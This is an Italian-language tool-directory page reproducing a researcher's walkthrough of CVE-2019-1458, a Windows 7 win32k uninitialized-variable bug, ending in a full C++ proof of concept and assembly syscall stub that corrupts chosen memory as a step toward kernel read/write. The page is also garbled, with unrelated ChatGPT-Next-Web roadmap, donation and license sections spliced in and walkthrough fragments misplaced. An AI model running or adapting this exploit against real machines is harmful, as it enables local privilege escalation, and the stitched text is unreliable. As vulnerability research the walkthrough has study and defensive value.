Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
cve-2019-1458_POC — POC per cve-2019-1458 | Kitploit
Strumenti/GitHubGitHub/piotrflorczyk/cve-2019-1458_poc
Analisi delle VulnerabilitàExploitReverse EngineeringApprendimento e FormazioneBinary Exploitation
GitHubpiotrflorczyk/cve-2019-1458_poc

cve-2019-1458_POC

POC per cve-2019-1458

Vedi Repository
181534 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2019-1458: dal 'report in the wild' alla POC

Introduzione

A dicembre Kaspersky ha pubblicato un post sul blog riguardante [l'exploit 0day usato in the wild][1]. Ha suscitato il mio interesse perché, sebbene abbiano descritto come funzionava l'exploit, non hanno fornito alcuna POC nella loro analisi. Questo è il motivo per cui ho deciso di provare a scrivere una POC per questa vulnerabilità basandomi sul post di Kaspersky e sull'analisi della patch.
Questo post descrive il mio percorso in questa attività.

Raccolta di informazioni:

La prima cosa è stata raccogliere quante più informazioni possibili su questa vulnerabilità. Leggendo il post citato ho estratto le seguenti informazioni:

  • La vulnerabilità è legata alla funzionalità di cambio finestra
  • Richiede la simulazione della pressione del tasto ALT per essere attivata
  • Devono esserci due chiamate alla API non documentata NtUserMessageCall
  • Deve essere creata una finestra di commutazione speciale
  • C'era un riferimento alla funzione del kernel win32k!DrawSwitchWndHilite

Oltre a questo c'è una bella schermata di codice decompilato che mostra alcune delle cose elencate in precedenza. Per la precisione mostra: la creazione della finestra di commutazione, la chiamata a una funzione chiamata toggle_alt_key e numerose chiamate a NtUserMessageCall.

Parte del codice exploit decompilato [Fonte dell'immagine][1]

Molte informazioni utili, ma non descrive ancora esattamente come funziona questa vulnerabilità e come attivarla.

Diffing della patch

[Il modulo interessato era win32k.sys][2]. Ho scaricato sia la versione patchata che quella non patchata di questo modulo.
Per Win7 x64 queste erano:

  • patchato: KB4530692
  • non patchato: KB4525233

Possono essere scaricate dal [Microsoft Update Catalog][3]

Ecco il risultato del bindiff del confronto tra le due versioni

confronto win32k

Dopo aver escluso le funzioni relative alla funzionalità DebugHook, ciò che ci resta davvero è questa funzione leggermente modificata InitFunctionTables()

modifiche a InitFunctionTables

Sicuramente non è la patch più grande in circolazione.
Questo non aiuta a identificare immediatamente la causa principale di questa vulnerabilità. Ma vale la pena notare che sono stati aggiunti alcuni valori iniziali per le variabili in *(gpsi+0x14E), *(gpsi+0x154), *(gpsi+0x180). Quindi potrebbe essere un bug legato a una variabile non inizializzata.

Costruzione della POC - passo dopo passo

In questa sezione presenterò come ho costruito progressivamente una POC che attiva questa vulnerabilità, capendo allo stesso tempo cosa fosse realmente la vulnerabilità.

Da dove iniziare

Il diffing della patch non ha fornito molte informazioni utili all'inizio, quindi nella prima fase di sviluppo mi sono affidato soprattutto al post di Kaspersky.
Per avere un buon ambiente di test ho preparato una VM Win7 SP1 x64 con l'ultima versione vulnerabile di win32k in esecuzione. Inoltre ho collegato Windbg a questa VM per eseguire il debug del kernel e, nel farlo, ho anche configurato il percorso del symbol server.
Ho iniziato la mia indagine esaminando win32k!DrawSwitchWndHilite, menzionata nel post. Viene chiamata da due punti: xxxMoveSwitchWndHilite e xxxPaintSwitchWindow; quest'ultimo ha subito attirato la mia attenzione, per le chiamate circostanti a GetKeyState/GetAsyncKeyState menzionate nel report originale. Inoltre, queste chiamate verificano che il tasto ALT sia premuto.

Punto di chiamata interessante a DrawSwitchWndHilite
Chiamata a DrawSwitchWndHilite da xxxPaintSwitchWindow

Seguendo ulteriormente i riferimenti incrociati delle chiamate (xxxWrapSwitchWndProc->xxxSwitchWndProc->xxxPaintSwitchWindow->DrawSwitchWndHilite) ho scoperto che il primo elemento di questa catena è referenziato in InitFunctionTables, la funzione che è stata corretta dalla patch.

Poi ho esaminato NtUserMessageCall dalla schermata del codice decompilato. Ecco la dichiarazione di questa funzione```cpp NtUserMessageCall(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam, ULONG_PTR ResultInfo, DWORD dwType, BOOLEAN bAnsi)

root@kitploit:~
L'exploit lo sta chiamando con `msg = 0x14` e `dwType = 0xE0`. Vediamo cosa fa.```cpp
HINSTANCE hInstance = GetModuleHandle(NULL);
WNDCLASSEX wcx;
ZeroMemory(&wcx, sizeof(wcx));
wcx.hInstance = hInstance;
wcx.cbSize = sizeof(wcx);
wcx.lpszClassName = L"SploitWnd";
wcx.lpfnWndProc = DefWindowProc;

printf("[*] Registering window\n");
ATOM wndAtom = RegisterClassEx(&wcx);
if (wndAtom == INVALID_ATOM) {
    printf("[-] Failed registering SploitWnd window class\n");
    exit(-1);
}

printf("[*] Creating instance of this window\n");
HWND sploitWnd = CreateWindowEx(0, L"SploitWnd", L"", 0, 0, 0, 0, 0, NULL, NULL, hInstance, NULL);
if (sploitWnd == INVALID_HANDLE_VALUE) {
    printf("[-] Failed to create SploitWnd window\n");
    exit(-1);
}
NtUserMessageCall(sploitWnd, WM_ERASEBKGND, 0, 0, 0, 0xE0, 1);

Qui ho registrato una semplice classe di finestra e ho creato una finestra di quella classe. Poi ho chiamato NtUserMessageCall con gli stessi parametri dell'exploit. Per vedere cosa succede sotto il cofano ho impostato un breakpoint kd> ba e 1 win32k!NtUserMessageCall ed eseguito il codice. Ci sono parecchie chiamate a questa funzione, quindi ho dovuto individuare quella giusta, ma non è stato difficile: era quella con uno stack di chiamate davvero corto.

NtUserMessageCall
NtUserMessageCall

Procedendo passo passo nel codice si scopre che viene chiamata una funzione dall'array gapfnMessageCall; l'indice viene calcolato in base al valore di msg ed è uguale a 0, quindi la chiamata va a NtUserfnDWORD.

NtUserfnDWORD
NtUserfnDWORD

La chiamata successiva viene effettuata usando il valore dwType; ora l'offset di gpsi è uguale a 0x40 e la chiamata porta a xxxWrapSwitchWndProc (questa funzione era già comparsa quando controllavo la catena di chiamate di DrawSwitchWndHilite).
xxxWrapSwitchWndProc chiama semplicemente xxxSwitchWndProc.

xxxSwitchWndProc
xxxSwitchWndProc

E qui finisce tutto: il codice fallisce, senza andare avanti fino a xxxPaintSwitchWindow, che è proprio il punto in cui vogliamo arrivare in base al valore di msg (0x14). Vediamo perché.

Attivare il percorso corretto

Il codice fallisce in questa fase perché, come evidenziato nell'immagine precedente, il fnid della nostra finestra non è uguale a 0x2A0 (FNID_SWITCH) e il messaggio che stiamo inviando non è uguale a 1, quindi finiamo in xxxDefWindowProc. Per evitare questo scenario dobbiamo chiamare xxxSwitchWndProc con fnid impostato a FNID_SWITCH, così da andare direttamente allo switch e successivamente a xxxPaintSwitchWindow.
Come impostare il fnid corretto? In realtà la stessa funzione lo fa nel primo blocco if: dobbiamo solo fallire tutti i controlli al suo interno per arrivare all'istruzione che imposta il fnid.

Ecco le condizioni che dobbiamo soddisfare per far fallire tutti e tre i controlli if:

  • fnid == 0 e cbwndExtra + 0x128 >= *(gpsi + 0x154)
    fnid è uguale a 0 per ogni finestra utente appena creata. *(gpsi+0x154) è uguale a 0 in win32k! non patchata. Ma anche se fosse impostato a 0x130, come nella versione patchata, potremmo impostare cbwndExtra ad almeno 8 e bypassare comunque il primo controllo.
  • msg == 1
    Può essere impostato nella chiamata a NtUserMessageCall. Tuttavia, con msg impostato a 1, il flusso di controllo passa attraverso NtUserfnINLPCREATESTRUCT invece di NtUserfnDWORD, ma finisce comunque in xxxSwitchWndProc.

Se tutte queste condizioni sono soddisfatte, il fnid della finestra verrà impostato a FNID_SWITCH.
Quindi ora dobbiamo chiamare NtUserMessageCall due volte: la prima con msg uguale a 1 per impostare il fnid desiderato, la seconda per raggiungere xxxPaintSwitchWindow.```cpp HINSTANCE hInstance = GetModuleHandle(NULL); WNDCLASSEX wcx; ZeroMemory(&wcx, sizeof(wcx)); wcx.hInstance = hInstance; wcx.cbSize = sizeof(wcx); wcx.lpszClassName = L"SploitWnd"; wcx.lpfnWndProc = DefWindowProc; wcx.cbWndExtra = 8; //to pass check in xxxSwitchWndProc

printf("[*] Registering window\n"); ATOM wndAtom = RegisterClassEx(&wcx); if (wndAtom == INVALID_ATOM) { printf("[-] Failed registering SploitWnd window class\n"); exit(-1); }

printf("[*] Creating instance of this window\n"); HWND sploitWnd = CreateWindowEx(0, L"SploitWnd", L"", 0, 0, 0, 0, 0, NULL, NULL, hInstance, NULL); if (sploitWnd == INVALID_HANDLE_VALUE) { printf("[-] Failed to create SploitWnd window\n"); exit(-1); }

printf("[] Calling NtUserMessageCall to set fnid = 0x2A0 on window\n"); NtUserMessageCall(sploitWnd, WM_CREATE/ = 1*/, 0, 0, 0, 0x0, 1);

printf("[] Calling NtUserMessageCall second time"); NtUserMessageCall(sploitWnd, WM_ERASEBKGND/ = 0x14*/, 0, 0, 0, 0x0, 1);

root@kitploit:~
Ho aggiunto `extraData` alla classe della finestra e ho aggiunto una seconda chiamata a `NtUserMessageCall`. Ora il flusso di controllo riesce a raggiungere `xxxPaintSwitchWindow`.
(Nota a margine: `dwType` non deve necessariamente essere uguale a `0xE0`; `0` funziona altrettanto bene, dato che viene comunque sottoposto ad AND con `0x1F` in `NtUserfnDWORD`)

![xxxPaintSwitchWindow](https://assets.kitploit.com/production/public/readmes/30684/0a794f2d2af1e438ad43ce6f36921871ba04eeadeba67141388de7163ceaa0fa.png)
*`xxxPaintSwitchWindow`*

A un esame più attento ho notato che il valore `extraWndData` prelevato dall'oggetto finestra (riga 25) viene usato come puntatore su cui scrivere (righe 46-52)! Se riesco a raggiungere il codice che imposta `extraWndData` a un valore da me controllato, posso corrompere memoria arbitraria!  
Per raggiungerlo devo prima superare qualche ulteriore controllo (contrassegnato in rosso)

- Controlla se la finestra ha il flag `WS_VISIBLE` impostato.  
Questo flag può essere impostato in `CreateWindowEx`
- `fnid == 0x2A0` e `cbwndExtra + 0x128 == *(gpsi + 0x154)`  
Fnid è già impostato dalla prima `NtUserMessageCall`.  
Il problema sorge con la seconda parte di questo controllo perché `*(gpsi + 0x154)` non è inizializzato nel modulo `win32k` vulnerabile, quindi questo controllo fallirà sempre. A meno che non si imposti in qualche modo `*(gpsi+0x154)` al valore corretto. Si scopre che creare la speciale finestra di switch, menzionata nel post di Kaspersky, fa esattamente questo.
- Controlla che la finestra non sia distrutta.  
Già soddisfatto in questo caso.

Per creare la speciale [finestra di switch][4], dobbiamo chiamare `CreateWindowEx` con nome impostato a `0x8003` (`#32771`). Questo porterà alla fine alla chiamata di `InternalRegisterClassEx` nel kernel.

![InternalRegisterClassEx](https://assets.kitploit.com/production/public/readmes/30684/899c70257bac4c26d99e4bfb6e14d024a586bc7fb3bc11cddb5f544409165092.png)
*frammento della funzione `InternalRegisterClassEx`*

Questo inizializzerà `*(gpsi+0x154)` a `0x130`.
L'effetto collaterale è che una volta impostata questa variabile, non c'è modo di riportarla a 0. Quindi abbiamo una sola possibilità di eseguire l'exploit. Qualsiasi altro tentativo, fino al prossimo riavvio, fallirà.


### Controllo del valore dereferenziato

Ora sono in grado di controllare `extraWndData`, che viene successivamente dereferenziato come puntatore e su cui si scrive in `xxxPaintSwitchWindow`. `extraWndData` può essere controllato chiamando```cpp
SetWindowLongPtr(HWND hWnd, int nIndex, LONG_PTR dwNewLong)

Una cosa da tenere a mente è che questa chiamata deve essere effettuata dopo la prima chiamata a NtUserMessageCall, perché come mostrato xxxSwitchWndProc necessita che extraData della finestra sia impostato a 0 in questa prima chiamata, per bypassare i controlli necessari. Inoltre SetWindowLongPtr deve essere invocato prima della creazione della finestra di switch, ed ecco perché:

xxxSetWindowLong frammento della funzione xxxSetWindowLong

È qui che facciamo effettivamente uso della variabile non inizializzata *(gpsi + 0x154). Quando questo controllo passa, impostiamo wnd->extraData a un valore arbitrario. Se fosse stata inizializzata correttamente, l'exploit fallirebbe qui.```cpp HINSTANCE hInstance = GetModuleHandle(NULL);

WNDCLASSEX wcx; ZeroMemory(&wcx, sizeof(wcx)); wcx.hInstance = hInstance; wcx.cbSize = sizeof(wcx); wcx.lpszClassName = L"SploitWnd"; wcx.lpfnWndProc = DefWindowProc; wcx.cbWndExtra = 8; //to pass check in xxxSwitchWndProc

printf("[*] Registering window\n"); ATOM wndAtom = RegisterClassEx(&wcx); if (wndAtom == INVALID_ATOM) { printf("[-] Failed registering SploitWnd window class\n"); exit(-1); }

printf("[*] Creating instance of this window\n"); HWND sploitWnd = CreateWindowEx(0, L"SploitWnd", L"", WS_VISIBLE, 0, 0, 0, 0, NULL, NULL, hInstance, NULL); if (sploitWnd == INVALID_HANDLE_VALUE) { printf("[-] Failed to create SploitWnd window\n"); exit(-1); }

printf("[*] Calling NtUserMessageCall to set fnid = 0x2A0 on window\n"); NtUserMessageCall(sploitWnd, WM_CREATE, 0, 0, 0, 0x0, 1);

printf("[] Calling SetWindowLongPtr to set window extra data, that will be later dereferenced\n"); SetWindowLongPtr(sploitWnd, 0, 0x4141414141414); printf("[] GetLastError = %x\n", GetLastError());

printf("[*] Creating switch window #32771, this has a result of setting (gpsi+0x154) = 0x130\n"); HWND switchWnd = CreateWindowEx(0, (LPCWSTR)0x8003, L"", 0, 0, 0, 0, 0, NULL, NULL, hInstance, NULL);

printf("[*] Triggering dereference of wnd->extraData by calling NtUserMessageCall second time"); NtUserMessageCall(sploitWnd, WM_ERASEBKGND, 0, 0, 0, 0x0, 1);

root@kitploit:~
Ecco il risultato dell'esecuzione del codice sopra

![Debug dell'esecuzione riuscita dell'exploit](https://assets.kitploit.com/production/public/readmes/30684/041723bb4c11895a5884059ccea0376d06d26056b4f0bac758dd712055b05b09.png)

Poco dopo otteniamo un bugcheck quando `rdi` viene dereferenziato.  
Eseguendo lo stesso exploit su Windows patchato:```
[*] Registering window
[*] Creating instance of this window
[*] Calling NtUserMessageCall to set fnid = 0x2A0 on window
[*] Calling SetWindowLongPtr to set window extra data, that will be later dereferenced
bold:[*] GetLastError = 585
[*] Creating switch window #32771, this has a result of setting (gpsi+0x154) = 0x130
[*] Triggering dereference of wnd->extraData by calling NtUserMessageCall second time

SetWindowLongPtr fallisce con il codice di errore 0x585 a causa di *(gpsi + 0x154) correttamente inizializzato. E il kernel non va in crash.

Causa principale (riepilogo)

Per riassumere, il problema principale era la variabile non inizializzata *(gpsi+0x154).
Ma cos'è questo valore, perché è importante?
gpsi è un puntatore globale alla struttura [tagSERVERINFO][5]. Questa struttura, tra le altre cose, descrive le finestre di sistema (ovvero menu, desktop, commutazione, ecc.), in contrapposizione alle finestre definite dall'utente. Queste finestre di sistema sono identificate dal loro FNID, per esempio 0x2A0 indica la finestra di commutazione.

Quando la classe di finestra viene definita usando RegisterClassEx, abbiamo l'opportunità di specificare il campo cbWndExtra su WNDCLASSEX; questo campo descrive quanti byte extra saranno allocati in aggiunta alla struttura tagWND, per memorizzare alcune informazioni specifiche della finestra. Possiamo quindi modificare quei byte extra usando SetWindowLongPtr. Le finestre di sistema usano esattamente lo stesso meccanismo per memorizzare i dati aggiuntivi di cui necessitano per funzionare. Ma in linea di principio questi dati non dovrebbero essere raggiungibili tramite SetWindowLongPtr. E abbiamo visto che in effetti c'è un controllo in xxxSetWindowLongPtr che dovrebbe impedirlo. Dopo aver applicato le informazioni sui tipi, questo è il controllo:``` if (nIndex >= gpsi->mpFnid_serverCBWndProc[(window->fnid & 0x3FFF) - FNID_FIRST] - sizeof(tagWND)) goto exit_with_error

root@kitploit:~
Array `gpsi->mpFnid_serverCBWndProc` descrive la dimensione del determinato oggetto finestra di sistema, inclusi i dati extra. 
`*(gpsi+0x154)` diventa `gpsi->mpFnid_serverCBWndProc[FNID_SWITCH - FNID_FIRST]`
Lasciando questo campo non inizializzato, `xxxSetWindowLongPtr` pensa che la dimensione dei dati extra sia `-sizeof(tagWND)`, quindi siamo in grado di scrivere in un campo che dovrebbe essere privato alla struttura della finestra di switch.

La causa principale di questa vulnerabilità era quindi una variabile non inizializzata (o meglio, inizializzata a 0 per impostazione predefinita) `gpsi->mpFnid_serverCBWndProc[FNID_SWITCH - FNID_FIRST]`.
Questo spiega perché la patch fosse così piccola. Tutto ciò che doveva essere fatto era impostarla a `sizeof(tagWND) + 8`. Nello stesso modo, ora vengono inizializzati anche altri elementi dell'array `mpFnid_serverCBWndProc` che prima non lo erano (`FNID_DESKTOP`, `FNID_TOOLTIPS`), probabilmente per prevenire anche future varianti di questo exploit.

![InitFunctionTable con tipi](https://assets.kitploit.com/production/public/readmes/30684/d7a41949abd8ce0e3d34f642c080b315d20edfb4e480db16f915759c5e375436.png)

## Corrompere la memoria```asm
xxxPaintSwitchWindow + 0x8B:
cmp     [rdi+6Ch], r13d		; rdi = 0x4141414141414

L'ultimo passo per preparare questo POC sarebbe quindi innescare un crash più utile o, meglio ancora, riuscire a corrompere della memoria senza crashare affatto.

Per raggiungere questo ultimo obiettivo dobbiamo:

  • Fornire un puntatore valido alla memoria RW.
    Ho scelto di allocare della memoria usando VirtualAlloc e passare il puntatore restituito a SetWindowLongPtr
  • Simulare la pressione del tasto ALT.
    Come già accennato, ci sono chiamate a GetKeyState/GetAsyncKeyState in xxxPaintSwitchWindow che controllano se il tasto ALT è premuto. E se non è questo il caso, la funzione esce.
    La scelta se usare GetKeyState o GetAsyncKeyState è decisa in base al flag in [extraWndData+6Ch]. Ho scelto di simulare la pressione di ALT usando una chiamata a SetKeyboardState. Questo funzionerà solo con GetKeyState, quindi devo impostare il valore all'offset 0x6C a `1````cpp ptr = VirtualAlloc(0, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); SetWindowLongPtr(sploitWnd, 0, ptr);

BYTE keyData[256]; GetKeyboardState(keyData); keyData[VK_MENU] |= 0x80; // simulate ALT SetKeyboardState(keyData);

((BYTE*)ptr)[0x6c] = 1; // force use of GetKeyState inside xxxPaintSwitchWindow

root@kitploit:~
Con questo codice ho ottenuto un crash diverso.```asm
DrawSwitchWndHilite + 0x10A:
mov     rcx, [r12+20h]
mov     dl, 1
mov     rcx, [rcx]		; rcx = 0

Quindi fornisco anche un puntatore valido all'offset 0x20 (che punta a se stesso)```cpp ptr[0x20 / sizeof(*ptr)] = ptr; // make double derefence succeed

root@kitploit:~
Ora l'exploit funziona senza crash e, quando esaminiamo il contenuto della pagina allocata, possiamo vedere che è stata modificata!

![Memory content](https://assets.kitploit.com/production/public/readmes/30684/08b7865f524a983ea91bda161f8356a75b0ca1a1c070eecd9950592ff23629ec.png)

Abbiamo ottenuto un POC di exploit stabile che corrompe la memoria che gli viene fornita. Questa è una situazione molto migliore rispetto a un POC che va in crash durante la lettura della memoria, perché questa corruzione arbitraria della memoria può essere trasformata più facilmente in lettura/scrittura arbitraria del kernel. Inoltre abbiamo già estratto i requisiti che la memoria da corrompere deve soddisfare.

## Conclusione

In questa walkthrough ho mostrato come sono passato dalla descrizione dell'exploit e della vulnerabilità a un POC funzionante che può essere trasformato in un utile exploit del kernel.

Questo è stato un exploit piuttosto interessante, reso possibile da una sola riga mancante. Quindi immagino che la lezione sia: inizializza sempre le tue variabili globali.

## POC``` cpp
#include <cstdio>
#include <windows.h>

extern "C" NTSTATUS NtUserMessageCall(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam, ULONG_PTR ResultInfo, DWORD dwType, BOOL bAscii);

int main() {    
    HINSTANCE hInstance = GetModuleHandle(NULL);

    WNDCLASSEX wcx;
    ZeroMemory(&wcx, sizeof(wcx));
    wcx.hInstance = hInstance;
    wcx.cbSize = sizeof(wcx);
    wcx.lpszClassName = L"SploitWnd";
    wcx.lpfnWndProc = DefWindowProc;
    wcx.cbWndExtra = 8; //pass check in xxxSwitchWndProc to set wnd->fnid = 0x2A0
   
    printf("[*] Registering window\n");
    ATOM wndAtom = RegisterClassEx(&wcx);
    if (wndAtom == INVALID_ATOM) {
        printf("[-] Failed registering SploitWnd window class\n");
        exit(-1);
    }

    printf("[*] Creating instance of this window\n");
    HWND sploitWnd = CreateWindowEx(0, L"SploitWnd", L"", WS_VISIBLE, 0, 0, 0, 0, NULL, NULL, hInstance, NULL);
    if (sploitWnd == INVALID_HANDLE_VALUE) {
        printf("[-] Failed to create SploitWnd window\n");
        exit(-1);
    }

    printf("[*] Calling NtUserMessageCall to set fnid = 0x2A0 on window\n");
    NtUserMessageCall(sploitWnd, WM_CREATE, 0, 0, 0, 0xE0, 1);

    printf("[*] Allocate memory to be used for corruption\n");
    PVOID mem = VirtualAlloc(0, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    printf("\tptr: %p\n", mem);
    PBYTE byteView = (PBYTE)mem;
    byteView[0x6c] = 1;             // use GetKeyState in xxxPaintSwitchWindow

    //pass DrawSwitchWndHilite double dereference
    PVOID* ulongView = (PVOID*)mem;
    ulongView[0x20 / sizeof(PVOID)] = mem;

    printf("[*] Calling SetWindowLongPtr to set window extra data, that will be later dereferenced\n");
    SetWindowLongPtr(sploitWnd, 0, (LONG_PTR)mem);
    printf("[*] GetLastError = %x\n", GetLastError());

    printf("[*] Creating switch window #32771, this has a result of setting (gpsi+0x154) = 0x130\n");
    HWND switchWnd = CreateWindowEx(0, (LPCWSTR)0x8003, L"", 0, 0, 0, 0, 0, NULL, NULL, hInstance, NULL);

    printf("[*] Simulating alt key press\n");
    BYTE keyState[256];
    GetKeyboardState(keyState);
    keyState[VK_MENU] |= 0x80;
    SetKeyboardState(keyState);

    printf("[*] Triggering dereference of wnd->extraData by calling NtUserMessageCall second time");
    NtUserMessageCall(sploitWnd, WM_ERASEBKGND, 0, 0, 0, 0x0, 1);
}

Roadmap

  • Bilingue cinese + inglese
  • Pacchetto immagine Docker
  • File di configurazione .env
  • Aggiungere un parametro configurabile
  • Aggiungere test unitari (Unit Test)
  • Aggiungere un test e2e
  • Buon template per i messaggi di commit
  • Aggiungere la documentazione per i contributi
  • i18n
  • GitHub Actions
  • SEO
  • Aggiungere un test e2e (Playwright)
  • Aggiungere un test core (Vitest)
  • Aggiungere il supporto PWA
  • Migliorare l'accessibilità
  • Migliorare le prestazioni

Community

ChatGPT Next Web Discord Twitter

Segui @ChatGPTNextWeb

Open Source

Awesome Awesome ChatGPT Open in GitPod wechat Open in CodeSandbox

Cronologia delle stelle

Star History Chart

Disclaimer

Disclaimer: Questo progetto è destinato esclusivamente a scopi di apprendimento e comunicazione. Il codice e i materiali contenuti in questo progetto sono forniti solo a scopo di riferimento e qualsiasi perdita causata dall'utilizzo di questo progetto non è correlata al progetto né allo sviluppatore. Il diritto di interpretazione finale di questo progetto appartiene allo sviluppatore.

Licenza

License: MIT

Contributi

Se sei interessato a contribuire a ChatGPT-Next-Web, leggi la guida ai contributi e consulta l'elenco dei problemi.

Ringraziamenti

Grazie a tutti gli sviluppatori che hanno contribuito a ChatGPT-Next-Web.

Donazioni

Se ritieni che questo progetto ti sia utile, considera di fare una donazione per sostenere lo sviluppatore.

赞助商```asm _DATA SEGMENT _DATA ENDS _TEXT SEGMENT

PUBLIC NtUserMessageCall NtUserMessageCall PROC mov r10, rcx mov eax, 1007h ; Win7 sp1 syscall ret NtUserMessageCall ENDP _TEXT ENDS END

root@kitploit:~
[1]: https://securelist.com/windows-0-day-exploit-cve-2019-1458-used-in-operation-wizardopium/95432/
[2]: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1458
[3]: https://www.catalog.update.microsoft.com/Home.aspx
[4]: https://docs.microsoft.com/en-us/windows/win32/winauto/switch-window
[5]: https://www.reactos.org/wiki/Techwiki:Win32k/SERVERINFO
[6]: https://media.paloaltonetworks.com/lp/endpoint-security/blog/the-case-for-smep-exploiting-a-kernel-vulnerability.html
Scarica lo strumento
  • extraData == 0
    La dimensione di ExtraData può essere impostata quando si registra la classe della finestra usando il citato cbwndExtra. ExtraData viene aggiunto subito dopo la struttura tagWND (ho aggiunto questo campo alla struttura tagWND in IDA come QWORD all'offset sizeof(tagWND), per rendere il codice decompilato un po' più leggibile). Il suo valore può essere impostato con una chiamata a SetWindowLongPtr.
  • Funzionalità più interessanti